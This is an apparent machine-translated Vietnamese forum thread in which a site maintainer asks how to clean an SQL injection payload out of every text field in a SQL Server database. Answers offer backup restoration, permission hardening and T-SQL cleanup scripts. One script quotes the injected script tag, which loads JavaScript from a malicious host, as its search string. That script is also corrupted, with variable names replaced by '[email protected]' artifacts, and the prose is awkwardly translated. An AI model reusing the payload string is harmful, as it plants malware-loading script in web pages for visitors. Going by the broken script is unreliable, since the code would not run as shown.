2008-08-28 26 views
8

Tôi đã được giao nhiệm vụ duy trì một trang web phi lợi nhuận gần đây đã trở thành nạn nhân của một cuộc tấn công SQL injection. Ai đó đã khai thác một biểu mẫu trên trang web để thêm văn bản vào mọi trường văn bản có sẵn trong cơ sở dữ liệu (varchar, nvarchar, v.v.), khi được hiển thị dưới dạng HTML, bao gồm và thực thi tệp JavaScript.Cách tốt nhất để dọn dẹp sau khi SQL Injection là gì?

Tìm kiếm trên Google của URL cho biết rằng từ tìm kiếm spam của email dựa trên Rumani hoặc Trung Quốc, nhưng đó không phải là điều quan trọng ngay bây giờ.

Tôi đã xem xét và xóa thông tin khỏi các trường văn bản hiển thị trên hầu hết các trang hiển thị và phổ biến trên trang web nhưng tôi tò mò muốn biết cách nào là cách tốt nhất để loại bỏ văn bản khỏi văn bản khác các trường trên trang web. Rõ ràng là có nhiều thứ cần phải được thực hiện (làm cứng trang web chống lại việc tiêm SQL, sử dụng thứ gì đó như markdown thay vì lưu trữ HTML, v.v.) và tôi đang làm việc trên những điều đó, nhưng trong thời gian tôi thực sự cần cách để đi vào và lập trình loại bỏ các văn bản tiêm. Tôi biết văn bản chính xác là gì, nó giống nhau mỗi lần và nó luôn được nối vào cuối bất kỳ trường văn bản nào. Tôi không đủ khả năng để loại bỏ tất cả HTML trong cơ sở dữ liệu tại thời điểm này và tôi không biết khi nào điều này xảy ra chính xác nên tôi không thể quay lại bản sao lưu. Ngoài ra, trang web là trên lưu trữ được chia sẻ và tôi không thể kết nối với cơ sở dữ liệu trực tiếp với các công cụ SQL Server. Mặc dù vậy, tôi có thể thực hiện các truy vấn chống lại nó, vì vậy nếu có bất kỳ cách nào để xây dựng câu lệnh cập nhật SQL với hiệu ứng "hey tìm tất cả các trường văn bản trong tất cả các bảng trong toàn bộ cơ sở dữ liệu và làm điều này để làm sạch chúng" tốt.

Trả lời

5

Khôi phục dữ liệu từ bản sao lưu gần đây.

0

này sẽ đảo ngược đó, cũng có thể nó sẽ là khôn ngoan để lấy quyền sysobject khỏi tên người dùng trang web của bạn chạy với, và để khử trùng đầu vào của quá trình

DECLARE @T VARCHAR(255),@C VARCHAR(4000) 
DECLARE Table_Cursor CURSOR FOR 
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC('if exists (select 1 from ['[email protected]+'] where ['[email protected]+'] like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'') begin print ''update ['[email protected]+'] set ['[email protected]+']=replace(['[email protected]+'],''''"></title><script src="http://1.verynx.cn/w.js"></script><!--'''','''''''') where ['[email protected]+'] like ''''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'''''' end') 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor 

tôi đã viết về điều này trong một thời gian trở lại đây: Microsoft Has Released Tools To Address SQL Injection Attacks

1

Giả sử bạn đã trở thành nạn nhân của cùng một cuộc tấn công như mọi người khác, sau đó mã SQLMenace 'đóng. Tuy nhiên, cuộc tấn công đó sử dụng một số url tập lệnh khác nhau, vì vậy bạn sẽ phải tùy chỉnh nó để đảm bảo nó khớp với url bạn đang thấy trong cơ sở dữ liệu của mình.

I wrote about it as well và mã giải pháp của tôi bao gồm dọn dẹp chung hơn.

Một điểm quan trọng là điều đầu tiên bạn cần làm là gỡ xuống trang web. Hiện tại, bạn đang chủ động cung cấp phần mềm độc hại cho người dùng của mình và điều đó có thể khiến bạn bị sửa chữa hợp pháp sau đó. Đặt trang giữ chỗ để người dùng của bạn không bị bỏ lại trong bóng tối nhưng không tiếp tục phân phát phần mềm độc hại. Sau đó, bạn có thể sửa trang web để đảm bảo trang web không còn dễ bị tiêm. Cách đơn giản nhất để làm điều đó cho cuộc tấn công đặc biệt này là chỉ vô hiệu hóa quyền sysobjects/syscolumns cho người dùng web của bạn, nhưng bạn sẽ muốn thực hiện thêm thông qua dọn dẹp hoặc chỉ là vấn đề thời gian cho đến khi bạn bị bẻ khóa lần nữa. Sau đó, bạn có thể sử dụng mã được cung cấp để làm sạch trang web và đưa nó trở lại trực tiếp.

+0

"Tôi đã viết về nó cũng" liên kết (http://jcoehoorn.vox.com/library/post/sql-injection-part -2.html) được chuyển hướng đến trang web hiển thị "Vox hiện đã bị đóng. Cảm ơn bạn đã dành tình yêu và sự ủng hộ của Vox qua nhiều năm" –

2

Tôi là nạn nhân và bạn có thể sử dụng nó để làm sạch

UPDATE Table 
SET TextField = SUBSTRING(TextField, 1, CHARINDEX('</title', TextField) - 1) 
WHERE (ID IN (SELECT ID FROM Table WHERE (CHARINDEX('</title', Textfield, 1) > 0))) 
Các vấn đề liên quan